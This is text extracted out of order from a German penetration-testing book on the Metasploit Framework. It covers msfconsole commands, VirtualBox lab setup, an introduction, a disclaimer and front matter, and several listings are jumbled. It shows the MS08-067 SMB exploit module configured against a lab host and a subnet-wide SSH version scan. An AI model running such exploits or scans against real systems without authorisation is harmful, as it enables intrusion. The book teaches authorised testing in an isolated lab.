msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options
Module options:
Name
---RHOST
RPORT
SMBPIPE
Current Setting
--------------445
BROWSER
Required
-------yes
yes
yes
Description
----------The target address
Set the SMB service port
The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id
-0
Name
---Automatic Targeting
msf exploit(ms08_067_netapi) > set RHOST 192.168.222.66
RHOST => 192.168.222.66
msf exploit(ms08_067_netapi) > set RPORT 445
RPORT => 445
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) > setg RHOST 192.168.222.66
RHOST => 192.168.222.66
msf exploit(ms08_067_netapi) > setg RPORT 445
RPORT => 445
msf exploit(ms08_067_netapi) > save
Saved configuration to: /root/.msf4/config
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) > unsetg RHOST
Unsetting RHOST...
msf exploit(ms08_067_netapi) >
Listing 3–11
Das set- und setg-Kommando
Mit dem Kommando run werden die Exploits oder z.B. Scanner aus dem Auxiliary-Modul gestartet. In diesem Beispiel möchten wir in unserem Testnetzwerk
58
3 Das Metasploit-Framework
nach Servern suchen, die den SSH-Service nutzen. Wir interessieren uns für das
Betriebssystem bzw. die laufende SSH-Version.
msf > use scanner/ssh/ssh_version
msf auxiliary(ssh_version) > show options
Module options:
Name
---RHOSTS
RPORT
THREADS
Current Setting
--------------22
1
Required Description
-------- ----------yes
The target address range or CIDR identifier
yes
The target port
yes
The number of concurrent threads
msf auxiliary(ssh_version) > set RHOSTS 192.168.222.0/24
RHOSTS => 192.168.222.0/24
msf auxiliary(ssh_version) > run
[*]
[*]
[*]
[*]
[*]
192.168.222.10:22,
Scanned 026 of 256
Scanned 052 of 256
192.168.222.66:22,
Scanned 077 of 256
Listing 3–12
SSH server version: SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1
hosts (010% complete)
hosts (020% complete)
SSH server version: SSH-2.0-OpenSSH_5.2
hosts (030% complete)
Das run-Kommando
Mit dem Kommando back werden ausgewählte Exploits oder andere Module
wieder abgewählt. Alternativ dazu kann man den Befehl use wählen, um auf andere Module/Exploits zu wechseln.
msf
msf
msf
msf
msf
msf
> use scanner/snmp/community
auxiliary(community) > back
>
> use scanner/snmp/community
auxiliary(community) > use scanner/telnet/telnet_login
auxiliary(telnet_login) >
Listing 3–13
Das back-Kommando
In der Konsole können externe Befehle (entsprechend dem installierten Betriebssystem) ausgeführt werden. In Listing 3–14 wird beispielhaft die Netzwerkkonfiguration mithilfe des Befehls ifconfig angezeigt bzw. mittels nslookup die aktuelle
IP-Adresse eines Domainnamens ermittelt.
msf > ifconfig eth0
[*] exec: ifconfig eth0
eth0
Link encap:Ethernet
HWaddr 00:0c:29:9d:48:12
3.4 Metasploit-Client (msfcli)
59
inet addr:192.168.222.10 Bcast:192.168.222.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe9d:4812/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:134 errors:0 dropped:0 overruns:0 frame:0
TX packets:103 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:136133 (136.1 KB) TX bytes:19435 (19.4 KB)
Interrupt:19 Base address:0x2000
msf > nslookup remotexploit.com
[*] exec: nslookup remotexploit.com
Server:
Address:
192.168.222.2
192.168.222.2#53
Non-authoritative answer:
Name:
remotexploit.com
Address: 174.137.132.45
Listing 3–14
3.4
Externe Befehle ausführen
Metasploit-Client (msfcli)
Mit dem Metasploit-Client (msfcli) steht im Framework eine mächtige Kommandozeilen-Umgebung zur Verfügung. Leider unterscheiden sich die Bedienung und
die Optionen ein wenig von der Metasploit-Konsole (msfconsole). Die wichtigsten Unterschiede werden hier vorgestellt. Verschaffen Sie sich zunächst einen
Überblick durch Aufrufen der Hilfefunktion wie in Abbildung 3–3 dargestellt.
Die Option (S)ummary entspricht dem Kommano info in der msfconsole. Es
werden Informationen über das verfügbare Modul, Targets und Referenzen angezeigt.
root@bt:/pentest/exploits/framework# ./msfcli windows/smb/ms08_067_netapi S
[*] Please wait while we load the module tree...
Name: Microsoft Server Service Relative Path Stack Corruption
Module: exploit/windows/smb/ms08_067_netapi
Version: 14319
Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great
Provided by:
hdm hdm@metasploit.com
Brett Moore brett.moore@insomniasec.com
staylor
jduck <jduck@metasploit.com>
7
2
Die Testumgebung
Wenn man sich ausgiebig mit den Möglichkeiten von Metasploit beschäftigen
möchte, ist es sinnvoll, sich eine Testumgebung einzurichten. Wie bereits erwähnt, ist das Framework auf verschiedenen Plattformen nutzbar. Wir werden
hier zumindest die Betriebssysteme Windows und Linux etwas näher betrachten.
Außerdem bietet es sich an, verschiedene virtuelle Umgebungen einzurichten, um
die Wirkung auf den unterschiedlichen Plattformen auszutesten.
Derzeit gibt es einige kostenlose Produkte, um virtuelle Server oder Workstations in einem Netzwerk darzustellen. Citrix stellt eine kostenfreie Vollversion seines XenServers1 zur Verfügung. Die Installation erfolgt über ein CD-Image und ist
in wenigen Minuten erledigt. Auf der gleichen CD wird die Administrationskonsole XenCenter als Applikation für Windows bereitgestellt. Sie beinhaltet eine hierarchisch gegliederte Bedienoberfläche. Damit ist man in der Lage, mehrere XenServer über das Netzwerk zu verwalten. Nach der Registrierung erhält man eine
Lizenz, die man für ein Jahr nutzen kann.
Für einfache Tests in einer virtuellen Umgebung reicht oftmals der VMwarePlayer2 aus. Auch hier bietet sich die Möglichkeit, mehrere Betriebssysteme gleichzeitig auf einem PC auszuführen. Auch wenn es der Name der Software nicht klar
ausdrückt – im Gegensatz zu älteren Versionen kann man mit dem aktuellen Produkt nicht nur virtuelle Maschinen (VM) »abspielen«, sondern auch VMs erstellen.
In diesem Buch wurde die Testumgebung auf der Basis von VirtualBox3 angelegt. Diese kostenfreie Lösung hat sich besonders bei kleinen und mittelgroßen
Testumgebungen bewährt und zeichnet sich durch eine hohe Zuverlässigkeit, einfache Administration und gute Performance aus. Derzeit läuft es unter den
Betriebssystemen Windows, Linux, Mac OS X und Open Solaris. Es wird ständig
in der Community weiterentwickelt und entspricht professionellen Standards. Als
Hostsystem wird ein Ubuntu-Server LTS in der 64bit-Version eingesetzt.
1.
2.
3.
http://www.citrix.de/produkte/xenserver/
http://www.vmware.com/de/products/desktop_virtualization/player/overview.html
https://www.virtualbox.org/
8
2 Die Testumgebung
Zum Anlegen von virtuellen Maschinen wurde ein Webinterface auf der Basis
von PHP installiert. Dieses stellt einen Assistenten zur Verfügung, der durch die
einzelnen Schritte bei der Installation von virtuellen Maschinen führt. Es lassen
sich außerdem RAM- und Festplattengröße definieren und vorgefertigte Festplatten- bzw. ISO-Images auswählen. Wie von kommerziellen Lösungen (z.B.
VMware Workstation) bekannt, bietet auch VirtualBox bestimmte Grundeinstellungen für unterschiedliche Betriebssysteme an, die man nach eigenen Vorstellungen modifizieren kann.
Die im Buch verwendeten virtuellen Maschinen wurden auf folgender Hardund Software erstellt:
Hardware: Intel Core 2 Quad Q8300, 8 GB RAM, 1 TB Festplatte
Software: Ubuntu 10.04.3 Server 64 bit, Linux (2.6.32-33-Server),
VirtualBox: 4.1.8 (75467)
2.1
VirtualBox 4.1 und phpVirtualBox installieren
VirtualBox von Oracle ist eine hervorragende Lösung, die eine kostengünstige
Virtualisierung von x86- und AMD64/Intel64-Umgebungen ermöglicht und sowohl im professionellen Umfeld als auch von privaten Nutzern geschätzt wird.
Die Software ist als Open Source unter der GNU General Public License frei verfügbar und ist für alle gängigen Betriebssysteme erhältlich. Es ist also nicht verwunderlich, dass die Nutzer-Community ständig wächst und dadurch ein ausgezeichneter Support ermöglicht wird.
In diesem Abschnitt wird zunächst erläutert, wie VirtualBox 4.1 auf einem
Ubuntu-Server ohne grafische Oberfläche installiert und später mittels phpVirtualBox ein Ajax-Webinterface hinzugefügt wird. Mithilfe dieser Oberfläche lassen
sich dann alle Operationen von der Erstellung virtueller Maschinen, dem Anfertigen von Snapshots bis zur Veränderung der Hardwareeinstellungen bequem ausführen. Zur Bedienung wird dann nur ein Browser Ihrer Wahl benötigt.
Einem sachkundigen Anwender sollte die Installation eines Ubuntu-Servers
keine Probleme bereiten. Aus diesem Grund wird sie auch hier nicht weiter
beschrieben. Als Grundlage für das Hostsystem wird in diesem Buch Ubuntu-Server 10.04.3 LTS4 (Lucid Lynx) verwendet. Für die Realisierung unseres Vorhabens
brauchen wir keine grafische Oberfläche (wie z.B. Gnome oder KDE) und können
daher auf diese schlanke Installation zurückgreifen.
Für die weitere Vorgehensweise setzen wir voraus, dass der Ubuntu-Server
installiert ist, der Zugriff auf die Konsole mittels einer SSH-Session erfolgt und
eine Internetverbindung zur Verfügung steht.
In einem ersten Schritt (Listing 2-1) wird zunächst geprüft, ob sich alle Pakete
auf dem aktuellen Stand befinden und die richtige Version installiert ist.
4.
http://www.ubuntu.com/download/server/download
2.1 VirtualBox 4.1 und phpVirtualBox installieren
9
sudo su
apt-get update
apt-get upgrade
root@virtualbox: lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:
Ubuntu 10.04.3 LTS
Release:
10.04
Codename:
lucid
Listing 2–1
Software aktualisieren
Nun wird das Quellverzeichnis um das VirtualBox-Repository ergänzt und die
benötigten Schlüssel hinzugefügt.
echo "deb http://download.virtualbox.org/virtualbox/debian lucid contrib non-free"
| sudo tee -a /etc/apt/sources.list
wget -q http://download.virtualbox.org/virtualbox/debian/oracle_vbox.asc -O- |
sudo apt-key add –
Listing 2–2
Listing 2-2 VirtualBox-Repository hinzufügen
Listing 2-3 zeigt die notwendigen Befehle für die Installation von VirtualBox, den
Kernel-Ressourcen bzw. dem Apache Webserver und PHP5. Zum Abschluss wird
noch der »Oracle VM_VirtualBox Extension Pack« heruntergeladen und installiert. Dieser ermöglicht später u.a. die Nutzung von USB-2.0-Geräten bzw. die
Unterstützung des »VirtualBox Remote Desktop Protocol«.
apt-get
apt-get
apt-get
apt-get
update
install virtualbox-4.1
install linux-headers-`uname -r` dkms unzip
install apache2 php5 libapache2-mod-php5 unzip
wget
"http://download.virtualbox.org/virtualbox/4.1.4/Oracle_VM_VirtualBox_Extension_
Pack-4.1.4.vbox-extpack“
VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-4.1.4.vbox-extpack
Listing 2–3
Benötigte Software installieren
Die Virtualisierungssoftware wird bald in einem eigenen Prozess mit Nutzerrechten laufen. Um dies zu gewährleisten, sind einige Vorbereitungen zu treffen. Zunächst legen wird die Datei /etc/default/virtualbox an und fügen gemäß Listing
2-4 den Nutzer virtualbox in einer Zeile hinzu. Mit den folgenden Befehlen legen
wir den Benutzer im System an und fügen ihn der Gruppe vboxusers hinzu.
10
2 Die Testumgebung
root@virtualbox:~# echo „VBOXWEB_USER=virtualbox“ > /etc/default/virtualbox
root@virtualbox:~# adduser virtualbox
Lege Benutzer »virtualbox« an ...
Lege neue Gruppe »virtualbox« (1001) an ...
Lege neuen Benutzer »virtualbox« (1001) mit Gruppe »virtualbox« an ...
Erstelle Home-Verzeichnis »/home/virtualbox« ...
Kopiere Dateien aus »/etc/skel« ...
Geben Sie ein neues UNIX-Passwort ein:
Geben Sie das neue UNIX-Passwort erneut ein:
passwd: password updated successfully
Changing the user information for virtualbox
Enter the new value, or press ENTER for the default
Full Name []: Frank Neugebauer
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Sind diese Informationen korrekt? [J/n] j
root@virtualbox:~# adduser virtualbox vboxusers
Füge Benutzer »virtualbox« der Gruppe »vboxusers« hinzu ...
Adding user virtualbox to group vboxusers
Fertig.
Listing 2–4
Nutzer anlegen und Gruppe hinzufügen
Mit diesen ersten Schritten haben wir die Virtualisierungssoftware erfolgreich installiert und die notwendigen Nutzer erstellt. Um VirtualBox über eine Webschnittstelle administrieren zu können, wird nun phpVirtualBox5 eingerichtet.
Auch diese Software ist Open Source und wird unter der GNU GPL-Lizenz zur
Verfügung gestellt. Gemäß Listing 2-5 wird das in PHP geschriebene Programmpaket zunächst mittels dem wget-Befehl heruntergeladen und entpackt. Nachdem
der notwendige Ordner in der Verzeichnisstruktur des Webservers angelegt worden ist, muss nun die mitgelieferte Beispielkonfiguration kopiert und angepasst
werden. In diesem Fall wird die Datei config.php mit dem Editor Ihrer Wahl geöffnet und die Variablen $username und $password entsprechend angepasst. Tragen
Sie dazu das in Listing 2-4 genutzte Passwort für den Nutzer virtualbox ein. Mit
dem Befehl vbox-service start kann nun das Webinterface gestartet werden.
wget http://phpvirtualbox.googlecode.com/files/phpvirtualbox-4.1-5.zip
unzip phpvirtualbox-4.1-5.zip
mkdir /var/www/phpvirtualbox
cp -R phpvirtualbox-4.1-5/* /var/www/phpvirtualbox
5.
http://code.google.com/p/phpvirtualbox/
2.1 VirtualBox 4.1 und phpVirtualBox installieren
11
sudo cp /var/www/phpvirtualbox/config.php-example
/var/www/phpvirtualbox/config.php
nano /var/www/phpvirtualbox/config.php
/* Username / Password for system user that runs VirtualBox */
var $username = 'virtualbox';
var $password = 'deinPasswort';
sudo /etc/init.d/vboxweb-service start
Listing 2–5
phpVirtualBox installieren und Konfiguration anpassen
Nachdem alle Anpassungen gemacht wurden, sollte der Server zunächst erst einmal heruntergefahren und neu gestartet werden. Alle Dienste sind standardmäßig
so eingestellt, dass sie beim Hochfahren des Systems automatisch gestartet werden. Bevor Sie nun weiterarbeiten, sollten einmal die Kernel-Module von VirtualBox konfiguriert werden. Nutzen Sie dazu den Befehl gemäß Listing 2-6. Weist
die Konfiguration keine Fehler auf, so kann das Webinterface über folgende URL
gestartet werden:
http://IP-Adresse/phpvirtualbox/
root@virtualbox:/home/frank# /etc/init.d/vboxdrv setup
* Stopping VirtualBox kernel modules
* Uninstalling old VirtualBox DKMS kernel modules
* Trying to register the VirtualBox kernel modules using DKMS
* Starting VirtualBox kernel modules
Listing 2–6
[
[
[
[
OK
OK
OK
OK
]
]
]
]
Konfiguration der Kernel-Module von VirtualBox
Nutzen Sie dazu den Browser Ihrer Wahl und verwenden Sie folgende Login-Informationen für die erste Anmeldung:
Login: admin
Password: admin
Nun sollten Sie zunächst das Login-Passwort ändern und die Sprache auf
»Deutsch« umstellen. Diese Einstellungen erreichen Sie über das Menü Ablage –
Globale Einstellungen – Sprache bzw. Benutzer (siehe Abbildung 2-1).
Sollte es Probleme beim Aufrufen von VirtualBox geben, so prüfen Sie, ob die
Dienste ordnungsgemäß gestartet sind. Listing 2-7 zeigt eine Ausgabe mittels des
netstat-Befehls.
12
Abb. 2–1
2 Die Testumgebung
Globale Einstellungen vornehmen
root@virtualbox:/home/frank# netstat -tulpe
Aktive Internetverbindungen (Nur Server)
Proto Recv-Q Send-Q Local Address
Foreign Address State User
PID/Program name
tcp
0
0
localhost:18083 *:*
LISTEN virtualbox
960/vboxwebsrv
tcp
0
0
*:www
*:*
LISTEN root
972/apache2
Listing 2–7
Inode
5032
4953
Listing 2-7 Apache und VirtualBox sind ordnungsgemäß gestartet
Hinweis: In den Supportforen schildern einige Nutzer Probleme mit KVM (Kernelbased Virtual Machine) in der Zusammenarbeit mit VirtualBox. Hier wird dringend
empfohlen, diese Module abzuschalten. Listing 2-8 zeigt die entsprechende Vorgehensweise.
rmmod kvm-intel
rmmod kvm-amd
/etc/init.d/vboxdrv setup
Listing 2–8
KVM abschalten
2.2 Virtuelle Maschinen erstellen
13
Die einzelnen virtuellen Maschinen können über das VirtualBox Remote Desktop
Protocol (VRDP) in separaten Fenstern angesprochen werden. Dabei ist VRDP
kompatibel mit dem von Windows bekannten Remote Desktop Protocol (RDP).
Demzufolge kann jeder beliebige RDP-Viewer genutzt werden. Um dies auszunutzen, muss nur die IP-Adresse des Hostsystems (nicht der virtuellen Maschine
(VM)) und der VRDP-Port der jeweiligen VM angegeben werden. Den genutzten
VRDP-Port kann man in den Eigenschaften der VM unter Anzeige – Port für
Fernsteuerung einsehen. Der zuerst gestarteten VM wird dabei der Port 3389 zugeordnet. Alle weiteren virtuellen Maschinen erhalten den jeweils höheren Port
bis 4000.
Beispiel: Nutzt man ein Linux-System, so kann man die als Zweites gestartete virtuelle Maschine über folgenden Befehl im Full-Screen-Modus fernsteuern:
rdesktop –f 192.168.111.124:3390
2.2
Virtuelle Maschinen erstellen
Um unsere Tests an verschiedenen Systemen vornehmen zu können, sollten virtuelle Maschinen in ausreichender Anzahl erstellt werden. Auch hier erweist sich
VirtualBox als sehr flexible Software und lässt praktisch keine Wünsche offen.
Haben Sie z.B in der Vergangenheit die verschiedenen Produkte von VMware genutzt, so können Sie die dort erstellten virtuellen Maschinen unter bestimmten
Voraussetzungen weiternutzen bzw. importieren.
Um Problemen aus dem Weg zu gehen, sollten Sie Ihre virtuellen Maschinen
wenn immer möglich neu erstellen. In den nächsten Abschnitten wird aber
zunächst gezeigt, wie Sie VMware-Image in VirtualBox weiternutzen bzw. konvertieren können.
Wenn Sie die Defaulteinstellungen bei der Installation des Servers übernommen
haben, sollten die neu erstellten virtuellen Maschinen im Ordner /home/virtualbox/ VirtualBox VMs/ zu finden sein. In Listing 2–9 werden weitere Verzeichnisse
angelegt, in denen wir später ISO-Dateien und VMware-Images ablegen und weiternutzen.
sudo su
mkdir /home/virtualbox/ISO
kkdir /home/virtualbox/VMware
cd /home/virtualbox
chown –R virtualbox:virtualbox
Listing 2–9
ISO/ VMware/
Zusätzliche Verzeichnisse erstellen und Rechte anpassen
1
1
Einleitung
Nach nur einem Tag war es den Angreifern gelungen, aktuelle personenbezogene
Daten einzusehen, nach zwei Tagen hatten sie Zugriff auf die aktuellen und noch
unveröffentlichten Ergebnisse der Entwicklungsabteilung, nach drei Tagen hatten sie administrativen Zugang zu den wichtigsten Servern der Firma.
Wo sind die Schwachstellen in Ihrem Netzwerk und ist es ausreichend vor Angriffen geschützt? Was wird in Ihrer Firma unternommen, um den Schutz der ITInfrastruktur zu gewährleisten?
Potenzielle Angreifer können die Vertraulichkeit, Integrität und Verfügbarkeit
der Daten in Computernetzwerken gefährden und somit große Schäden anrichten.
Dies bedeutet:
■ Daten könnten so geändert werden, dass die Integrität nicht mehr belegt werden kann.
■ Angreifern könnte es gelingen, ein Netzwerk so zu manipulieren, dass
bestimmte Dienste und Funktonalitäten nicht mehr genutzt werden können
und somit die Verfügbarkeit nicht mehr gewährleistet ist. Oftmals werden in
diesem Zusammenhang Daten gelöscht bzw. verfälscht oder z.B. Webauftritte
der Firma mit Denial-of-Service-Angriffen blockiert.
■ Häufig kommen die Täter dann an Informationen, die nur einem eingeschränkten Personenkreis kenntlich gemacht und somit vertraulich behandelt
werden sollten.
■ In vielen Fällen ist die Authentizität der Angreifer nicht festzustellen, da diese
mittels verschiedener Methoden eine falsche Identität vortäuschen oder
geschickt ihre Spuren verwischen.
Bei diesen Angriffsversuchen werden mehrfach Schwachstellen ausgenutzt, die
durch Programmierfehler in der Software oder falsche Konfiguration von Diensten entstanden sind. In sehr vielen Fällen bleiben diese Lücken in Computernetzwerken über einen längeren Zeitraum unentdeckt.
In diesem Zusammenhang ist es wichtig, die eingesetzte Software aktuell zu
halten und die Netzwerkkonfiguration turnusmäßig auf Schwachstellen zu prüfen.
2
1 Einleitung
Die erforderlichen Schutzmaßnahmen sollten im IT-Sicherheitskonzept der Firma
festgehalten und durch entsprechende Penetrationstests ergänzt werden.
Ein Penetrationstest ist ein Angriff auf ein Computernetzwerk im Auftrag des
Eigentümers. Der Angriff soll die Schwachstellen ermitteln und helfen, sie zu beseitigen. Nach der Auswertung der Ergebnisse werden dann geeignete erweiterte
Schutzmaßnahmen (z.B. Firewall, Einbrucherkennungssysteme) eingeführt, um
die Risiken zu minimieren.
1.1
Was ist das Metasploit-Framework?
Das Metasploit-Framework ist ein Open-Source-Projekt, das im Jahr 2003 von
HD Moore gegründet wurde. Es wurde über die Jahre ständig weiterentwickelt
und stellt mittlerweile eine umfangreiche Plattform für Penetrationstester dar. Somit ist nicht verwunderlich, dass die Zahl der Nutzer im IT-Sicherheitsbereich
ständig anwächst.
Zunächst mittels der Programmiersprache Perl entwickelt, wurde es für die
Version 3 vollständig neu geschrieben und wird seitdem mit Ruby weiterentwickelt. Metasploit ist auf den herkömmlichen Plattformen wie Windows, Linux,
BSD und auch Mac OS X lauffähig und kann sowohl per Kommandozeile als auch
über eine grafische Oberfläche bedient werden.
Als Gegenstück zu kostenintensiven kommerziellen Produkten, wie CoreImpact, CANVAS oder Metasploit Pro, stellt das Metasploit-Framework eine kostenfreie Umgebung zur Verfügung. Admin- und IT-Sicherheitspersonal sind somit in
der Lage, die ihnen anvertrauten Netzwerke effizient nach Schwachstellen zu
untersuchen und entsprechende Gegenmaßnahmen zu entwickeln. So können z.B.
die gewonnenen Erkenntnisse in die Entwicklung von Signaturen für IntrusionDetection- und Intrusion-Prevention-Systeme einfließen.
Das Framework kann mit Tools wie Portscannern und Vulnerability-Scannern
zusammenarbeiten und entsprechende Daten importieren bzw. exportieren. Als
Beispiel seien hier nur die Tools Nmap, Nessus, Nikto und Nexpose genannt.
1.2
Ziel des Buches
Lance Spitzner, einer der Mitbegründer des Honeynet-Projektes1, sagte: »How
can we defend against an enemy, when we don’t even know who the enemy is?«
Abgewandelt kann man sagen, dass die erfolgreiche Abwehr von Angriffen die
genaue Kenntnis der Strategie und Methoden der Angreifer voraussetzt. Nur so
können effektive Gegenmaßnahmen entwickelt und angewendet werden.
Das Buch beschäftigt sich daher primär mit dem Aufbau, der Entwicklung und
dem praktischen Einsatz des Metasploit-Frameworks aus der Sicht eines Angrei1.
http://www.honeynet.org
1.3 Wer sollte dieses Buch lesen?
3
fers. Es bezieht aber auch andere Produkte – kostenlos verfügbare und kommerzielle – in die Betrachtung ein.
Ziel ist es, dem Leser das Metasploit-Framework in einer praktischen Art und
Weise näherzubringen und das mögliche Zusammenspiel mit anderen Programmen aufzuzeigen. Das Buch soll die möglichen Methoden der Angreifer darlegen
und Denkanstöße zur Abwehr der Angriffe liefern.
1.3
Wer sollte dieses Buch lesen?
Dieses Buch wendet sich an IT-Sicherheitsspezialisten und erfahrene Administratoren, die wissen wollen, wie man mit dem Metasploit-Framework und verwandten Programmen Penetrationstests durchführt. Es beschreibt die Installation und
Nutzung von Metasploit in einer Testumgebung und erklärt den Umgang mit den
verschiedenen Modulen und Exploits.
Leser, die sich über andere Quellen theoretische Kenntnisse über moderne
Angriffsmethoden angeeignet haben, finden hier praktische Beispiele, die sie in
einer sicheren Testumgebung nachvollziehen können.
In diese neue Auflage sind viele Hinweise und Vorschläge von Informatikstudenten eingeflossen. Auch hier hat sich gezeigt, dass insbesondere auch diese
Lesergruppe großes Interesse an der Thematik hat. Sie sind die zukünftigen IT-Spezialisten, die die Herausforderungen der neuen Technologien annehmen und Informationstechnik in der Zukunft sicher gestalten wollen.
1.4
Was erwartet Sie in diesem Buch?
Im erstem Teil des Buches wird beschrieben, wie man eine Testumgebung auf Basis von VirtualBox als Linux-Server aufsetzt und die Angriffs- bzw. Zielsysteme in
virtuellen Maschinen erstellt. Außerdem wird auf die Installation von hilfreichen
Tools eingegangen (u.a. Nmap, Nessus und Nexpose). Die Konfiguration wird
mit einer Firewall komplettiert, die die Aufteilung des virtuellen Netzes in verschiedene Netzwerksegmente praxisnah gestaltet.
Danach werden die einzelnen Komponenten des Metasploit-Frameworks vorgestellt und der mögliche Einsatz in den einzelnen Phasen eines Penetrationstests
erläutert.
Zum Abschluss wird in praktischen Beispielen gezeigt, wie Sie mit dem
Metasploit-Framework in einem Computernetzwerk Schwachstellen aufspüren
und die gefundenen Sicherheitslücken mittels verschiedener Exploits ausnutzen
können.
4
1.5
1 Einleitung
Was behandelt das Buch nicht?
Bitte beachten Sie, dass im Buch keine Grundlagenkenntnisse zu TCP/IP oder den
Betriebssystemen Windows und Linux vermittelt werden. Die Leser sollten aus
diesem Grund ausreichende Kenntnisse zur Administration und zum Umgang mit
den genannten Systemen und deren Einbindung in Netzwerken besitzen.
Um die beigefügten Angriffsszenarien verstehen zu können, sollten Sie in die
Problematik der IT-Sicherheit in Computernetzwerken eingeführt sein und praktische Erfahrungen im Umgang mit Sicherheitslücken und Schwachstellen haben.
In diesem Buch wird auch nicht auf die Anwendungsprogrammierung eingegangen. Es werden keine Kenntnisse über die Erstellung von Exploits und die Programmierung von Tools für Penetrationstester auf der Grundlage des MetasploitFrameworks vermittelt.
1.6
Haftungsausschluss
Nicht zuletzt möchte ich darauf hinweisen, dass die hier vorgestellten Tools und
Angriffsmethoden ein erhebliches Angriffspotenzial in Computernetzwerken darstellen können. Die unbefugte Nutzung von Metasploit in realen Umgebungen
stellt somit kein Kavaliersdelikt dar und kann zu strafrechtlichen Konsequenzen
führen.
Betreiben Sie Ihre Testumgebung immer in einem speziell kontrollierten Netzwerksegment und benutzen Sie keine Produktivsysteme innerhalb dieses Netzwerkes. Nutzen Sie zur Anmeldung an die virtuellen Computer keine regulären Passwörter oder Zugangsdaten. Speichern Sie keine persönlichen Informationen und
Daten innerhalb dieses Netzwerkes und sichern Sie Ihre Testumgebung zum Internet ab.
Der Autor und der Verlag übernehmen keine Haftung für Schäden, die aus der
Nutzung der im Buch veröffentlichten Informationen entstehen können.
1.7
Danksagung
Als mich René Schönfeldt vom dpunkt.verlag ca. sechs Monate nach Erscheinen
der ersten Auflage des Buches (März 2011) ansprach und mich fragte, ob ich
nicht Zeit und Lust habe, das Buch zu überarbeiten, war ich zunächst skeptisch.
Dies lag sicher nicht daran, dass ich das Interesse an der Thematik verloren hätte,
sondern mir war klar, dass ich aufgrund der rasanten Entwicklung in diesem Bereich noch einmal viel Zeit und Geduld in die Überarbeitung des Buches stecken
müsste. Darüber hinaus sind viele interessante Werkzeuge und grafische Oberflächen hinzugekommen, die ich den Lesern nicht vorenthalten wollte. Doch das
Feedback zur ersten Auflage hat mir gezeigt, dass weiterhin großes Interesse am
1.7 Danksagung
5
Metasploit-Framework in allen Lesergruppen besteht. Dies hat mich letztlich ermutigt, diesen Schritt zu gehen.
Folgenden Personen möchte ich besonders danken:
Meiner Frau, meinen Kindern und Eltern, die mir geholfen haben, meine
Krankheit zu überwinden;
allen Arbeitskollegen und Freunden, die mich in guten und schlechten Zeiten
unterstützt haben;
den fleißigen Helfern im dpunkt.verlag, insbesondere Herrn Schönfeldt, Herrn
Heidt, Frau Zimpfer und Herrn Neumann;
Christian Kirsch von Rapid7 für die Unterstützung und die Testversionen;
HD Moore für das Geleitwort und das gesamte Rapid7-Team für die geleistete
Arbeit am Framework;
Raphael Mudge für die geniale grafische Oberfläche Armitage.
Nicht zuletzt möchte ich mich bei allen Helfern, Gutachtern und Lesern für das
tolle Feedback zur ersten Auflage bedanken und hoffe, dass auch das vorliegende
Buch einige interessante Stunden am PC bereiten wird.
Frank Neugebauer
Penetration Testing
mit Metasploit
Eine praktische Einführung
2., aktualisierte und erweiterte Auflage
Frank Neugebauer
metasploit@pentestit.de
Lektorat: René Schönfeldt, Gabriel Neumann
Copy-Editing: Ursula Zimpfer, Herrenberg
Herstellung: Frank Heidt
Umschlaggestaltung: Helmut Kraus, www.exclam.de
Druck und Bindung: M.P. Media-Print Informationstechnologie GmbH, 33100 Paderborn
Bibliografische Information der Deutschen Nationalbibliothek
Die Deutsche Nationalbibliothek verzeichnet diese Publikation in der Deutschen Nationalbibliografie;
detaillierte bibliografische Daten sind im Internet über http://dnb.d-nb.de abrufbar.
ISBN 978-3-89864-820-2
2., aktualisierte und erweiterte Auflage 2012
Copyright © 2012 dpunkt.verlag GmbH
Ringstraße 19 B
69115 Heidelberg
Die vorliegende Publikation ist urheberrechtlich geschützt. Alle Rechte vorbehalten. Die Verwendung
der Texte und Abbildungen, auch auszugsweise, ist ohne die schriftliche Zustimmung des Verlags
urheberrechtswidrig und daher strafbar. Dies gilt insbesondere für die Vervielfältigung, Übersetzung
oder die Verwendung in elektronischen Systemen.
Es wird darauf hingewiesen, dass die im Buch verwendeten Soft- und Hardware-Bezeichnungen sowie
Markennamen und Produktbezeichnungen der jeweiligen Firmen im Allgemeinen warenzeichen-,
marken- oder patentrechtlichem Schutz unterliegen.
Alle Angaben und Programme in diesem Buch wurden mit größter Sorgfalt kontrolliert. Weder Autor
noch Verlag können jedoch für Schäden haftbar gemacht werden, die in Zusammenhang mit der
Verwendung dieses Buches stehen.
543210
v
Geleitwort
Um unsere Netzwerke wirksam zu schützen, müssen wir lernen, wie Angreifer zu
denken. Als Penetrationstester handeln wir genau nach diesem Prinzip.
Als ich im Jahr 2003 das Metasploit-Projekt gründete, verwendeten Angreifer
meist ihre eigenen Exploits. Dadurch war es für Sicherheitsfachleute schwer, ihre
Netzwerke auf Schwachstellen zu testen, denn alle Exploits wurden unterschiedlich eingesetzt und jeder Entwickler verwendete seine eigenen Payloads. Mit
Metasploit wollte ich ein System schaffen, mit dem Administratoren zuverlässig
und schnell ihre eigenen Netzwerke testen konnten.
Das zu lösende Problem war zu groß, um es alleine zu bewältigen, daher wurde
Metasploit von Anfang an als Open-Source-Projekt aufgesetzt. Was damals als
Wochenendprojekt anfing, ist heute zum Standardwerkzeug für einen ganzen
Industriezweig geworden. Mehr als eine Million Anwender laden Metasploit jährlich herunter, und diese Zahl wächst ständig. Dies war nur durch die Hilfe der
Open-Source-Gemeinde möglich, der ich für die Unterstützung weiterhin sehr
dankbar bin.
Im Jahr 2009 wurde ich von Rapid7 angesprochen, ob ich mein Hobby zum
Beruf machen wolle. Kurz danach übernahm Rapid7 das Metasploit-Projekt –
allerdings nur unter der Bedingung, das Metasploit-Framework weiterhin als
Open-Source-Software zur Verfügung zu stellen. So konnte ich mich voll und ganz
dem Projekt widmen und die Qualität des Codes deutlich erhöhen. Innerhalb eines
Jahres wuchs die Anzahl der aktiven Anwender des kostenfreien Metasploit um
